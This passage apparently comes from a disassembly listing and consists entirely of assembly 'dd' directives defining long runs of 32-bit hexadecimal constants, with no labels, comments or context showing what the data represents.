		dd 147620C2h, 67487C67h, 3082C9C1h, 687CD73Dh, 5199240h
		dd 27F04E2h, 8872657Ah,	6E00D1FCh, 0C9A3FB9Fh, 734CAC84h
		dd 1BD8A0B8h, 5480C27Eh, 2060979Dh, 3017F4E4h, 3CA391ADh
		dd 8DE8F008h, 0F79D8B40h, 0E7E4B0EEh, 181869D4h, 8B9C7B1h
		dd 57079A5Fh, 8B06E27Eh, 8FA9692Fh, 8C005604h, 696EBE55h
		dd 0BB1C03E5h, 87A40621h, 7FBFCAF0h, 164F8AB8h,	0BB9FE088h
		dd 0CD250990h, 0EB3FEA80h, 6602ED47h, 635DC482h, 1E8C805Ah
		dd 76EFA267h, 7EC910Dh,	10CA6E48h, 59C75DE4h, 0EBD3A000h
		dd 9876F278h, 66FA0067h, 4DB59E90h, 6C2894A1h, 5D1384ACh
		dd 7CA2C11Ch, 0DDDF3E07h, 434E0055h, 820B8AEEh,	3CE49Eh
		dd 0AD384220h, 1BB90296h, 3774D41Ch, 0DAB55861h, 7600E8D9h
		dd 34D11050h, 9B280052h, 3937CB2Bh, 0B707D6E0h,	750CC5Ah
		dd 68F92FD4h, 13E5CF00h, 307711FEh, 400258E4h, 0C5AE5B54h
		dd 0EE8C69Eh, 1C054101h, 67F7A0D7h, 0BE7D2300h,	2F3DEB5Dh
		dd 0A1D33C97h, 60CC062Eh, 0CD1ADC22h, 84F25B00h, 350B8A57h
		dd 0AE932F58h, 96085498h, 2261E4B6h, 34700638h,	5E9C28D3h
		dd 23942780h, 34797C0Bh, 39FFC407h, 667F53C1h, 0F5F0E6D1h
		dd 939F05D6h, 0C077FDC3h, 99F4F755h, 4EC47138h,	39D0248Dh
		dd 9DB200D4h, 0D7581811h, 0BE48D897h, 0AB32007Ch, 0DD96D96Ch
		dd 44A648E5h, 29FD520Bh, 9CCC50E0h, 59BA7504h, 0F4A46018h
		dd 907C4D85h, 1CB8E931h, 6C52D1D5h, 0AA4F80A0h,	6CEC5Dh
		dd 213E5960h, 19E9A9AEh, 0A6E49B0Eh, 0D840F2F7h, 0BA6DA070h
		dd 6C929718h, 0E9ED64C0h, 8302289Eh, 569B65C9h,	0CC894354h
		dd 0A74E3D0h, 0C8834E01h, 9B2C0D4Dh, 7004202Fh,	41F2F493h
		dd 0D7809D00h, 0D30566BEh, 0CB021F25h, 0A2D5C13Ah, 3C7518B6h
		dd 7E2DC0B0h, 956F3E8Fh, 53775C82h, 980134C6h, 9F39542Ch
		dd 3CECBB55h, 0D91F017Bh, 81B35E50h, 0EA448AF9h, 0C10B9086h
		dd 902084BCh, 74E253h, 0D297F1EDh, 0FFC5C27h, 6BADF23Dh
		dd 3A62ACA0h, 533EB936h, 2DFC5EB7h, 0E49F8862h,	0AA0934F4h
		dd 2685F6BAh, 0B6EF4000h, 387D133Eh, 44412496h,	53D54AE2h
		dd 1064202Bh, 66E89A64h, 9EC098B5h, 0B5970074h,	785F114Bh
		dd 951EF6E9h, 6AC07EE4h, 51C23B9Bh, 82B538h, 0FCDC72AAh
		dd 6A934380h, 517A0F8h,	0C8E909ABh, 85EC00C2h, 98142939h
		dd 8DF92645h, 0B24C562Fh, 705E006Ch, 0CCCF68B2h, 0AB2E1ED2h
		dd 8F4DC2AFh, 78C2817Fh, 0B216F4D2h, 0F4A42E91h, 0CCD0064h
		dd 7B6F43E8h, 9218575Bh, 4C997372h, 51A3A04h, 0BB54AE80h
		dd 0F8CC2151h, 6AFD9007h, 0FE50F99Dh, 74B4D95h,	4E350A19h
		dd 66004F18h, 69EB89CBh, 8ED3200h, 62B242C5h, 6C28C044h
		dd 0DBEFA6BFh, 0CD6702Ah, 8D0136E8h, 0B3F3041Dh, 0D7ECDA5Bh
		dd 3743E017h, 699F41h, 0CB6224D6h, 9AA6C000h, 3337160Ch
		dd 93F239E3h, 44061278h, 59D61814h, 9007B39Fh, 22E8EAAh
		dd 0B419EE3h, 4DF608AAh, 72E21D00h, 466FCB0Bh, 71164330h
		dd 629BE030h, 49D60C4Bh, 0B5819164h, 0E7072CA0h, 0BEDDA800h
		dd 0BA5B662Bh, 0FAF300A5h, 3E5D71B9h, 0D10064DAh, 0E22070DCh
		dd 46BB17Ch, 0CBD6DF62h, 1CA480F1h, 35305B83h, 0A8F7794Dh
		dd 0B69E0E03h, 0D7607687h, 49AD661Eh, 80DCA63Fh, 0A32D10CDh
		dd 0E22FE6B4h, 0B2121B0Bh, 1BE89199h, 75031C90h, 79E4FFA0h
		dd 39C0B405h, 37B85F0h,	1AF81920h, 710F2135h, 60843B24h
		dd 0DC27B809h, 16EE3D07h, 0B4FBCB80h, 2A339BB7h, 0D9CC4A07h
		dd 0A580C830h, 4CDA8C1h, 64AD5A13h, 0ECF68078h,	90A109EAh
		dd 7086DC23h, 7E6073Dh,	805187DFh, 832C0E20h, 0BB430042h
		dd 0E298C2F9h, 0CF48A744h, 0E9C0C100h, 8DD0A0D0h, 0EC0A1DFh
		dd 45C8CC41h, 4BA64410h, 0C6C88A0h, 0B14C8A8h, 0B0783200h
		dd 9F431EC4h, 0FE6B037Eh, 85FC477Ah, 0ECF239B0h, 0CC048978h
		dd 0EFE20AEDh, 85F35491h, 554B0880h, 9E94367Fh,	0C201BEF8h
		dd 0E01F08D5h, 5A606DDDh, 0D44E1AADh, 6B40582Dh, 81C09440h
		dd 95F9D07h, 14417F29h,	0D86079BFh, 749C4228h, 0FF3B0C4Eh
		dd 0C6319D40h, 0DE694703h, 988C90D8h, 0BB962Eh,	65F72A36h
		dd 5335CA73h, 0D9A1C9h,	0F389C38h, 0D56900E5h, 0F5308A78h
		dd 0A82462C7h, 83D905Ch
		dd 870D8049h, 0FEFAEE42h, 9A0502FDh, 0B8809B43h, 784A71B4h
		dd 0CD1D50E4h, 0D418FBF8h, 9ECF69h, 0B63E9346h,	0EECC7A82h
		dd 0D6A1E100h, 0C26D062Dh, 3AB30062h, 0DD2FCD6Ch, 2B7C5A03h
		dd 10417A18h, 0EE7079h,	0F6653F77h, 7EE857C4h, 0CFCF324h
		dd 2DB41180h, 73338CB6h, 9E7A00CEh, 1402D9E9h, 0DA00CD30h
		dd 98B9478Ah, 8B829E7h,	4835CFD5h, 0A8AB4D00h, 914C17h
		dd 0A4B425C2h, 0CB4150B7h, 0C5E95E00h, 4A5B312Ch, 71FF6FC8h
		dd 0F19903CCh, 81F1B00h, 0EE11F261h, 4A353067h,	7F64CF59h
		dd 23227B00h, 94E827F6h, 9695010Eh, 63052A60h, 0C2B9E8F9h
		dd 6699AE00h, 2B14CE6Bh, 86D24C64h, 17240D07h, 1541C34Fh
		dd 0B7867100h, 2E3ED8FCh, 1781044Ch, 80730CD3h,	0DA990D68h
		dd 0F40A7024h, 0BE13E828h, 0A04253B2h, 5508B651h, 491CB640h
		dd 0C71E4100h, 0F7833A30h, 0F3801B66h, 0EDD8E1E1h, 0FC3A99D2h
		dd 6C28A445h, 2420F013h, 0C0017544h, 86948591h,	0F70068C6h
		dd 890E43CBh, 0E345AE49h, 5C4161D1h, 0B422E20Bh, 14A0CB01h
		dd 87F6F3AAh, 0D02E1671h, 31549790h, 0D9990464h, 189A4982h
		dd 0F8A82D40h, 119C6340h, 0BEC8FF06h, 9E267E77h, 2E07B0F9h
		dd 12E620Dh, 0ECFBC593h, 4700C022h, 6684E6A9h, 0F200EF7Eh
		dd 4C243CD8h, 0FA14AC6Bh, 0EAD5FC9Fh, 90389879h, 0D0DA60A4h
		dd 0B9BEFD56h, 150F03Fh, 278DD64Fh, 8E3490BBh, 919E6040h
		dd 212D1F2Bh, 0D2ECEF00h, 14BEE466h, 54D100E5h,	5C9011Ch
		dd 0B126EB0Ah, 369E4864h, 0B098C781h, 0B0229B49h, 1DA4512h
		dd 0B401B7A8h, 0CD903029h, 74869CAAh, 6224202Dh, 0D160B0E2h
		dd 2068A4h, 5937FDECh, 0F2574A0Eh, 207FDF38h, 60474806h
		dd 2A1AE122h, 89170Bh, 7D8CEDEBh, 1CF7A3Ah, 30B7C849h
		dd 0D3367CDEh, 2ACDF7BFh, 0A6308E8h, 0D005C9Fh,	6C59CF3Dh
		dd 0DF880772h, 0C00AA26Fh, 75702CB1h, 17D65309h, 0F6C8A07Ch
		dd 0C00B41B8h, 0D374A541h, 150090DBh, 82F31861h, 0B48A786h
		dd 8FFE9DC7h, 22508411h, 430C003Ch, 0D0B185A8h,	0F24C05B8h
		dd 8CA35F83h, 0A600ED10h, 4E0AE1A1h, 15E8116h, 45883C7Fh
		dd 0D8756C2Ah, 0C43C232Dh, 49A51FA9h, 0B5429CE6h, 0B944971h
		dd 0E9EDC0h, 0C1092782h, 650DD641h, 0A599CD09h,	0A20C0046h
		dd 26458D0h, 9AC82FEDh,	50406DD9h, 48608CFEh, 0E5CE5449h
		dd 0F4D3262Ch, 847814ECh, 77225501h, 9C4B8BFDh,	40AEEE29h
		dd 886EC760h, 1F7F39h, 0E3E75DDFh, 26A0CA64h, 0C70E38B0h
		dd 0A12BE970h, 591A4478h, 67400470h, 2047419Ah,	0B4EB652Ah
		dd 0DC806C00h, 0F68B7DADh, 624F0906h, 401096B5h, 2800562Fh
		dd 5C342C18h, 5E6457h, 83734D30h, 3AE70554h, 0D6502D08h
		dd 10B60018h, 3688C755h, 69C2110Fh, 0CE95C048h,	51FABE4h
		dd 502ACAC4h, 9D8424Ch,	0FD809E26h, 6BC2A92Bh, 2E8DD712h
		dd 5304907h, 0F10B1651h, 434D8450h, 5A8D09D8h, 0B4006B60h
		dd 72A76D3Ah, 15D5FC00h, 89E4766Ah, 633E1656h, 18016E8h
		dd 0FF11EE54h, 804A6F2h, 46E27D40h, 6EC40060h, 27859C8Ah
		dd 8848FB40h, 97DD0768h, 0E2F64AAFh, 91FE7D31h,	2F020CCh
		dd 49423D41h, 60640F77h, 58053A3Dh, 4AB48048h, 4CA8E211h
		dd 0A7C034F4h, 335D0EBDh, 807AFD3Ch, 0F03E5E6Eh, 578632Ch
		dd 118019D0h, 0E120D7A6h, 48CC0B71h, 9A3A1280h,	0D1C28756h
		dd 0D3417B22h, 0E0201CE1h, 0D5502A45h, 35F6C4h,	0BCED816Eh
		dd 9322E824h, 0C85E501h, 921467F1h, 2E05930h, 66E4377Bh
		dd 0D8646249h, 0E2998080h, 9B3B2900h, 0DFD680D1h, 0F92A6090h
		dd 784913ACh, 0EBB59744h, 15074829h, 6072D9B9h,	9C228D79h
		dd 0CEB7AC18h, 60504CA0h, 3B73C91Fh, 7D00D2A9h,	388B6152h
		dd 24FB4374h, 40B841E5h, 93DF732h, 0B1E2DB07h, 55809ABFh
		dd 14FC22A0h, 0F00B0FD6h, 0C85BAB03h, 5F886E05h, 8948FD7Eh
		dd 0D7D3859Ch, 44FA409h, 358FBCh, 5D1AB3B4h, 0CD5C0B78h
		dd 0E8AEC2F0h, 0F504435h, 5F68ECA8h, 0F9641E21h, 0A4735Ch
		dd 0D183FC5Dh, 0D68F81h, 9861C76Fh, 54644E3Ch, 2F787702h
		dd 5786435Fh, 0F80ACC40h, 0C601F2Eh, 0CC507847h, 3AB8729h
		dd 5D90D307h, 0EE982356h, 0B187299h, 0C18920C6h, 0BEB90FD3h
		dd 73425FCBh, 10588506h, 51924130h, 5C758BDCh, 69003711h
		dd 0B8268DBFh, 722E0F29h, 0D00D45Eh, 4A50E4C4h,	6CF7499Ch
		dd 8DC7801h, 3C8C2FBh, 0E815AAAAh, 4C4954B8h, 8A87E87Eh
		dd 88603429h, 9803D214h, 3D14832Ch, 7A9BB8F3h, 297842h
		dd 46BFCD27h, 80FEE6D3h, 0A732C8A4h, 507D885Dh,	9005FC08h
		dd 0EC2718CAh, 0F3D791E8h, 8E267B00h, 0DCF72C62h, 472003Bh
		dd 296A011Dh, 33141420h, 44405Dh, 0D02C47ABh, 7B7C3A96h
		dd 0F3F618C6h, 447251E9h, 0FBC3EE01h, 940D2FD3h, 13777FCh
		dd 767E0F8Ah, 813FB2C7h, 80717A1h, 0A8E0851Fh, 821D0221h
		dd 4DE31624h, 5CA3FCC0h, 8130415Ch, 6828E1F4h, 5AB709Ch
		dd 0C0A41CE4h, 53E84658h, 0A49BB128h, 4980E504h, 28C2D3A6h
		dd 63A8A01Bh, 0A82250ADh, 0EB1EF0h, 47C12143h, 64493017h
		dd 0B530BCA4h, 0F5FDA170h, 30A800E5h, 8F68266h,	8509D714h
		dd 370D5A1h, 142AE308h,	1CB27309h, 0DCAD600h, 227A2666h
		dd 4935310Ah, 8443A080h, 0C204E087h, 8FBA05A3h,	98AC771h
		dd 5C984FD4h, 57126716h, 1E005C59h, 2C23C1Fh, 9897006Eh
		dd 1C0355C0h, 0ED2CA37Eh, 0AE8B8061h, 305C89CCh, 5C08DE2Ch
		dd 0C61E0C57h, 726530Ch, 0E0DF32F8h, 0E3EC4217h, 2292DCA8h
		dd 0AC01FA00h, 5149B108h, 0FCAD0FF8h, 0F0244F47h, 0ED1CA45Fh
		dd 25298900h, 911A5B83h, 5CA80C38h, 4930E1A7h, 7BD6CF07h
		dd 0A0CB2A79h, 0D836539Ch, 0EEC81F2Dh, 500D84FFh, 9FA48840h
		dd 9194D718h, 0B8A65130h, 71E2E4h, 0EFCDF75Dh, 0A4FBD366h
		dd 49ADFF02h, 59A8DFAEh, 465D02E4h, 3DC0A218h, 33008EC1h
		dd 3F3A8974h, 1D573194h, 81965109h, 492EDE99h, 12E42D75h
		dd 0F830E40Bh, 907769AFh, 0ADE82520h, 50607418h, 67804C96h
		dd 0DA38E253h, 4730056h, 0BBE59569h, 0B224D81Ah, 0BE004Ah
		dd 4070BF10h, 11D6FD3h,	0EE36D9BAh, 60F033F8h, 94985CB1h
		dd 0D7325D01h, 73139588h, 0F1F3C66h, 20EF26D8h,	36FE00D8h
		dd 95CDB116h, 81507F72h, 2139D3ACh, 809CBC8Ah, 5A172FFAh
		dd 992A12CDh, 8293FCh, 0A7EFC120h, 0B71D93F5h, 0FF01ADD2h
		dd 9F088A78h, 0EC458884h, 0B90493E0h, 998027CBh, 2100718Ah
		dd 46DE2A2Dh, 0C1A44931h, 0BB7E3D78h, 3302C78h,	0EC9B01A2h
		dd 944100EBh, 0E0921134h, 5477801Eh, 8777061Fh,	373E3F00h
		dd 0EEC869EBh, 0A91700AAh, 3014734Ah, 5F0746D0h, 0E13C60E0h
		dd 4B985EB6h, 1482125h,	0F810E103h, 0CD2CB5F1h,	936084DAh
		dd 0A94614Fh, 16406E62h, 1DDF80DCh, 8027080h, 0BD19000h
		dd 8A1F2DD9h, 2A63EC51h, 5C5C213Ch, 7C00AD10h, 54F3A5AFh
		dd 310039E4h, 0BD61BA0Dh, 483A7905h, 0D70010ADh, 16D163A8h
		dd 325C8EBCh, 0B919768Ch, 14988068h, 0C0F4B230h, 45BE7859h
		dd 0B52AD142h, 0CF0EF055h, 275F54D9h, 0DD86C683h, 5CDA4D58h
		dd 0D34A5808h, 0B8710B43h, 0E4A5DCh, 0D278343Bh, 0C3F649Eh
		dd 0F449502Ah, 0F7CE3700h, 18E020E9h, 0A88200A9h, 0DFBEFCA2h
		dd 0CB01C424h, 0FE0C14FBh, 7FCC871Eh, 4A3A7C98h, 80D45DF3h
		dd 3539DB3h, 0CA903FCDh
		dd 39BC1303h, 986D7B61h, 30B41BC0h, 6F31FDF3h, 0D4167183h
		dd 9F00A19Ah, 27539CDh,	5D8D03D8h, 6EB561D5h, 0CB58F100h
		dd 8584C182h, 7DEE0986h, 57031497h, 0D8A0FEB0h,	990AA0C4h
		dd 0E07F49DAh, 64D30B42h, 624424D8h, 0B48049C8h, 0D83A2C03h
		dd 0CDDF98A0h, 8707997Bh, 53AD58E3h, 6CC8F324h,	2B6900E0h
		dd 3A0CA692h, 0C90081BEh, 5D789114h, 9872EA38h,	630513E0h
		dd 4B38044Ch, 0C3D0E4B5h, 0C97D20Eh, 5890F365h,	2681ECD3h
		dd 7B03A45h, 406DE8F3h,	0AB0147E5h, 154458B8h, 79FF00B9h
		dd 0C5F07E61h, 0C802A54Ah, 238770F5h, 0CECCC885h, 3A0A0CE4h
		dd 1350C70Bh, 7E6A0F00h, 2F56B6CBh, 7BD70B1Dh, 2909C24Fh
		dd 2B044418h, 0FEF3B700h, 712F11BDh, 0C87A00A8h, 5A8CEE07h
		dd 1601F230h, 3722B9C4h, 307125D3h, 0DA005872h,	0D88D4C21h
		dd 0E60094CDh, 0D789E011h, 52E1A7Eh, 63A99DA3h,	0ED1CB450h
		dd 2275B07h, 931F3758h,	0CF88A8D0h, 0E4C7B73h, 14280CE1h
		dd 239FBE3h, 3E49E1EFh,	0F8ADD8A4h, 478D7802h, 406BED32h
		dd 0DE58AE74h, 962DC0F8h, 0F84AE7CBh, 8A845100h, 0DD781657h
		dd 83A4096Ch, 90004565h, 0EFCC4AE0h, 4C82F05h, 0D8017D0Fh
		dd 450A8A4Fh, 0E65CA842h, 5E810044h, 0D99EA50Bh, 6A0087C1h
		dd 4540B010h, 0E27752AAh, 98540DDBh, 0D7A09C16h, 681388F8h
		dd 49A89309h, 0D1381277h, 767A0058h, 2824E8A2h,	530A100h
		dd 0C867F30Eh, 0FE560BDCh, 1089BF51h, 18413803h, 296C4100h
		dd 0D3C25250h, 0AF660097h, 2492E98Eh, 0C37BBACAh, 0CF1AFE0Ah
		dd 410A880Bh, 1C001C09h, 0F1E42FFCh, 0D7DD07D6h, 916617A4h
		dd 0A41A9C4Ah, 270394A1h, 8889AFC2h, 94ABF8C4h,	40CA40A8h
		dd 47015F73h, 1BADDAE5h, 0D8109A41h, 9000FD9Ch,	0E9941FFCh
		dd 0E70268D1h, 0E4B4F4F8h, 1AA32864h, 0D87A51ACh, 0A2B50741h
		dd 0EF79F881h, 96B75C89h, 0FC880680h, 2D8800A8h, 8A43A122h
		dd 6D0BA377h, 9885ACA0h, 2855ACh, 0D8C5162Bh, 0EE490945h
		dd 1804894h, 1235601Dh,	78A91C56h, 0E12F836Fh, 64F0AD44h
		dd 0B0B8514h, 402EAE1Dh, 21F7AA8h, 4517D807h, 0A4407915h
		dd 0AF7444E6h, 3A9D1200h, 67788990h, 99FC02F7h,	18D53513h
		dd 57DEA402h, 888DC4E0h, 414A8400h, 0B571A1D7h,	6B790003h
		dd 282F579Ah, 3F48678Ch, 9BA960B9h, 985D010Ch, 161E0E4h
		dd 1C8426B1h, 33210F1Ah, 0B94A0094h, 0E6B48A16h, 3C8800A9h
		dd 0CE5CACFEh, 14A87B17h, 0F500CB25h, 97AB991Eh, 24FFFBBFh
		dd 846CC54Ah, 0F01413Ch, 9B83A019h, 0B135A84Ch,	0B55700F4h
		dd 568C9A5Ch, 0B1388F00h, 431D48A1h, 0EA88A0CFh, 20E10994h
		dd 0BC82ED15h, 3843D60Dh, 109A41D1h, 556D57h, 0DD51561Ah
		dd 0F2F62AB3h, 9981F901h, 3561E0BDh, 0DA007069h, 631E17E6h
		dd 0C80077DCh, 0D9A5D30Fh, 0A1AF1D5Fh, 6310F794h, 510FCEBEh
		dd 0E7DE8268h, 60AF2B56h, 3109F372h, 30954EFEh,	0DD7BE6F4h
		dd 30115C00h, 8AC356DEh, 2AD90954h, 34182165h, 3A70B689h
		dd 815FB23Bh, 0A8432360h, 55E54408h, 0F70EC410h, 88EFF300h
		dd 0A04A18BEh, 0ACC18AF4h, 809CC756h, 13F1CD0Ch, 7D700D5Ch
		dd 280B8124h, 41647B04h, 3E8A18A4h, 8C2CBA6Dh, 2BB20766h
		dd 7D48BC43h, 2D9EC917h, 0EBECC9h, 31D9714Ch, 88EC2930h
		dd 0CBAD5900h, 0A3A44CABh, 0F02D7327h, 1851ECDAh, 88422E3Ah
		dd 4A245C11h, 9940F0CEh, 6382ACh, 0CBA84679h, 57B8F140h
		dd 5053C612h, 80C0A4h, 0ABC522B2h, 853BC026h, 4A345BFEh
		dd 148191C9h, 0E0BB4FF2h, 0D7ADDE81h, 20277B82h, 5CB80830h
		dd 5DDB2A00h, 0C32F3078h, 5A8D1C9Dh, 0A33F8C31h, 54C25838h
		dd 54C90B2Ah, 0A9CD859Ch, 1E60F267h, 41437078h,	0B021687Eh
		dd 3B598ABh, 9FFB1154h,	0D0FFCBCFh, 5F586320h, 10F7C8A1h
		dd 7916DA78h, 800E2EF1h, 7D86AFCh, 52C4B6F2h, 0B88216FDh
		dd 0DC845152h, 5CA254h,	362D1F8Fh, 0E6D069D7h, 0EE62006Ch
		dd 3307A06h, 2A24A8CBh,	0E41D3DD6h, 5D7C00ADh, 0B8804B1h
		dd 0C737A86h, 0B4F13002h, 2A0074DAh, 11B3981Dh,	0F5679BFh
		dd 0CB91877Eh, 0BA5CB701h, 0F5870ADh, 0D1A8A284h, 136B00A8h
		dd 0CD3E01E3h, 0E2788300h, 43951F52h, 11AB050Eh, 9ECA865h
		dd 0B0809774h, 5AF73435h, 184FC401h, 0BA4ECBDAh, 26370A60h
		dd 42ECC60Bh, 88549A44h, 0C002A92h, 5E6D20FAh, 60B45CEAh
		dd 0DF1ADD80h, 2702EEC0h, 2BAA71EDh, 517870D7h,	80605C76h
		dd 137EE40Bh, 8C644455h, 0D1E1220h, 0FECCA7D9h,	2A0A1980h
		dd 0F8F050h, 7A91275h, 7B3EDBD1h, 51B49B00h, 0C25D9D27h
		dd 38B600A1h, 706649B2h, 0CA4A4A2Ah, 0F8A86C40h, 0D81ADBh
		dd 50901488h, 13B44A2Dh, 15777F18h, 9C5E57A8h, 0E9514014h
		dd 7A006CBAh, 822473BCh, 0C9C72779h, 2418A238h,	3F177FD7h
		dd 5488683Ch, 8A300074h, 6B89CB39h, 9A008B2Dh, 0EEEDC837h
		dd 0A7F101Ch, 444080FDh, 4A8E6070h, 5D00DC3Bh, 1B10FFF5h
		dd 1B377B9h, 0CEF49BC6h, 0F02AF9AFh, 0ECBEA8CDh, 44D4D140h
		dd 43C0070Eh, 0E2A2F3B9h, 68F282FEh, 6C40354Ah,	0F7CE6BE5h
		dd 653C0959h, 4C07647Eh, 87072128h, 0C4E093E0h,	0C0B8A480h
		dd 0ABE8F1h, 0ACDDFD1Bh, 89FE15ECh, 4A09ACB1h, 1C929Fh
		dd 621420A0h, 0FDA30048h, 6524CC5Fh, 0A101D498h, 215BE87Dh
		dd 6AC046CBh, 0E4FD5835h, 75165D0Bh, 7470FC98h,	0E751B005h
		dd 0E4A0D87Eh, 0E87716DDh, 8FBCD040h, 870EA4FEh, 0C51458DFh
		dd 0A452988Dh, 97A88830h, 0FF900069h, 487F3205h, 0A5173B85h
		dd 0B490405Dh, 7AFD6DAFh, 693100EBh, 0EA62D8D4h, 0F9E2222Ah
		dd 0AA4C4104h, 10B4FD7Dh, 0C0C940Ah, 6FC8B243h,	2DF3170Fh
		dd 4881264h, 7EF20037h,	7BF0B16Bh, 6700B5FDh, 0E1888B4Ch
		dd 9073C8E0h, 97040074h, 0E7DDCDF1h, 6E00358Ch,	15CF1DE2h
		dd 0A3804163h, 0DFB20BCCh, 0B04A16FEh, 2DA1D840h, 11021206h
		dd 7194CB5h, 86716C9Fh,	6DBB30C3h, 0A8095DC5h, 98325696h
		dd 14A310h, 767C3727h, 0DE69FA3Ah, 56C4D600h, 88D7B7AAh
		dd 2571FA18h, 0F866B268h, 7A5B112h, 0FD0040B2h,	16AE60B8h
		dd 8A013D92h, 0CB45E0E5h, 2868740Ah, 605FA480h,	0A000738Bh
		dd 5B7F3009h, 1F6A4C31h, 24FF3A77h, 985201BEh, 6C5DFCAFh
		dd 9B268074h, 0EBFB9D3h, 0B62A327h, 7154C8F3h, 0CC99AC98h
		dd 0E03CA4BBh, 0B2662900h, 11150B9h, 621A32A0h,	70AE49D8h
		dd 79016B1Fh, 6343AD2Dh, 56F2A847h, 77874960h, 0D66EA135h
		dd 90402AECh, 96B60F61h, 32FE0Bh, 584D36Ah, 0DA672501h
		dd 0A08338B9h, 92E954D5h, 4688423Bh, 0C93D070Ch, 0AECB7A16h
		dd 6A02AB40h, 0E309FAC4h, 8749CEADh, 8A40B450h,	4E78BC57h
		dd 0F824302Dh, 0A9010890h, 0E6D595F1h, 242E4C9Ah, 9366872Ch
		dd 1DA0C673h, 7A09E10Eh, 82961A41h, 2044CBDCh, 814785Eh
		dd 894AFE00h, 8CA6DB9Ch, 2F2A0003h, 0D1C2BAAFh,	0CE12479Dh
		dd 0EC20B1F0h, 284CF5Bh, 0AF38BC91h, 0C448E3C1h, 741709CAh
		dd 0CC24D50Bh, 0B09CCCh, 0DB21FB0Fh, 0F9C47CEEh, 38CFD42Ch
		dd 1EB1DC60h, 0FEEA127Ah, 1770052Bh, 8B20Bh, 4F80F74Eh
		dd 0E1D0F3F0h, 0A42052F5h, 600B7A72h, 5B9D117h,	8B5EA121h
		dd 8D901027h, 9A74FFh, 34D34354h, 0B1A2B0Fh, 0AC04122Eh
		dd 481D2013h, 80222DC9h, 78724278h, 2CCC500Bh, 0FF90C22Ch
		dd 30F9FE62h, 694EE0Fh
		dd 111498Fh, 6747CDDBh,	7D4064ADh, 88AC0390h, 0D81D6DFFh
		dd 0B4AD729h, 13FE676Bh, 43A8D048h, 1E14791Eh, 0E0411CCFh
		dd 0EB87D749h, 0C788D47Eh, 0C97B0B78h, 9001793Ch, 408BFEE1h
		dd 0E3FCF73Ch, 96F67874h, 101C455Ch, 7680B54Fh,	0F78D6BEBh
		dd 0D484360Fh, 608F0022h, 2E9195CAh, 40985009h,	2D67D0CDh
		dd 1C760F02h, 525FF004h, 0CB70C8h, 134CD4FDh, 706E8E5Ah
		dd 0EE638600h, 7BDDEBE4h, 0A0091658h, 70F8886Ah, 7C9A6200h
		dd 0D59C7710h, 425A09FCh, 0F444288Ah, 89676300h, 0BEAF6293h
		dd 0CBC00B8h, 0BB5AA0FDh, 80A0A479h, 0D8A0730Dh, 0B24F2C43h
		dd 69C4E440h, 0EFB7DD5h, 0EF46E4CFh, 408089EBh,	788ACE5Ch
		dd 0C8148E5Dh, 0E35480D6h, 6B5871AEh, 9F7AEF00h, 209B573Ch
		dd 4BD0E1BEh, 8C9045h, 0C83AA649h, 687F2FEBh, 0A040732Fh
		dd 32B0E2E0h, 94F201A9h, 0E7B6998Ah, 2351F8FCh,	88FDD40Ch
		dd 0FCAD7970h, 38305F8h, 902F55BAh, 43C13FA0h, 988CFF25h
		dd 4465738h, 422BB6B9h,	12408850h, 0A6982A00h, 0E3F9906h
		dd 5CCD7921h, 922CCCADh, 37C66090h, 0D4E29B70h,	0C0A83A30h
		dd 90BC8D7h, 0C0DE3B68h, 0BFCB90C0h, 3AAF8212h,	9412A005h
		dd 0A14ACC81h, 9FDCE438h, 35DB0AC1h, 235D409Ch,	0EF00F552h
		dd 0E321BEC3h, 2A1C873h, 18B0395Ch, 306C420Ch, 8CFE6312h
		dd 0FB25C8A2h, 0E0D1F003h, 0FF063AC0h, 0B9277A01h, 8747DF14h
		dd 0C009C23h, 300AB325h, 0AF007AF1h, 0D2D52413h, 5F3B1746h
		dd 0BEDC209Fh, 0AF079B43h, 7BC46072h, 20392CD0h, 5C6C585Ah
		dd 7440A609h, 94402C42h, 63334938h, 0E153690Eh,	0B83073FAh
		dd 13B9DFA2h, 6B4C8D8h,	6AFADD02h, 0C0C9A51Ch, 0FA41284h
		dd 0D0C280A2h, 7A43FCA1h, 0A4E82C42h, 0CD2DF0C0h, 6740750Ah
		dd 0D078519Bh, 99535A08h, 79D4E700h, 80DC51F5h,	6C7C0612h
		dd 49409DAAh, 1CEF1900h, 5F6A69C9h, 71ECA04Ch, 704600F1h
		dd 44A541C8h, 0D70076ECh, 63BBF382h, 4F03F742h,	0A1D894C1h
		dd 0D646D004h, 677CF0F0h, 0C334FD1Eh, 0F178490Ch, 0C8620119h
		dd 58D576DDh, 2A60h, 0C14C69FDh, 0B072F325h, 7E78910Fh
		dd 7625981h, 2C6942h, 4809E14h,	1959D8Dh, 0D45AAEC2h, 0DEBD1D57h
		dd 0C62C1450h, 64251071h, 74A73368h, 0BFE246A8h, 109D847Ah
		dd 7800C34h, 5AB2DED2h,	0D6AF7079h, 3509EEBBh, 30C64A65h
		dd 50CB5D58h, 4A81D04Eh, 3180885Ah, 0D76DF903h,	0B7F0867Dh
		dd 7F2C4D0h, 101548A5h,	7071830Fh, 0F0982077h, 28005B79h
		dd 3B1E3A97h, 1FAB2760h, 405C8B3Eh, 1ADE308Dh, 6B05D62Ch
		dd 974A5F10h, 6FF24445h, 30041CA8h, 41924116h, 4F81D937h
		dd 1E99CFFCh, 0C085F303h, 0DAA787CEh, 0F494630Eh, 0AD1F8140h
		dd 0D20700B5h, 30F61170h, 5C03B8B9h, 0A4E73AAEh, 0FD8ED8F7h
		dd 9FA30184h, 4A3E62D8h, 0C23C2CC8h, 71CDED2Eh,	0A29F88h
		dd 0AE9B516Ch, 0ED4D743Fh, 0C7A58390h, 0B4D009DDh, 488064D8h
		dd 0F3977C48h, 73472CA8h, 0F0925D18h, 5ABF20h, 8D8ABB83h
		dd 0FF9A1876h, 9B445513h, 9124488h, 7487D805h, 803A2885h
		dd 98B2A050h, 7544F88h,	0D0CECF30h, 0FAD340DBh,	0EF73B4FBh
		dd 73B61C12h, 4D8E0h, 2B8DCEE7h, 0A377ED36h, 83BDC403h
		dd 2578803Dh, 0D0C4E268h, 0FD4A58h, 2D03EFCEh, 11A5195h
		dd 55B070A6h, 307F437Ah, 42FF9A90h, 7854C954h, 0F35A1761h
		dd 75C87Dh, 0BEFC3934h,	1BA20E24h, 621C8200h, 0D060B623h
		dd 887150A1h, 7B030BF0h, 8D8098F8h, 4A386D22h, 4B599C63h
		dd 44C194D4h, 0FC32B4E5h, 39BC9D02h, 856F2D0h, 4AD5D3D0h
		dd 3CDCCD02h, 325348A4h, 2992C821h, 0D0B0640Fh,	64C928E8h
		dd 19096060h, 13F98BF0h, 8C30ABh, 7A0173ABh, 7E006D7Fh
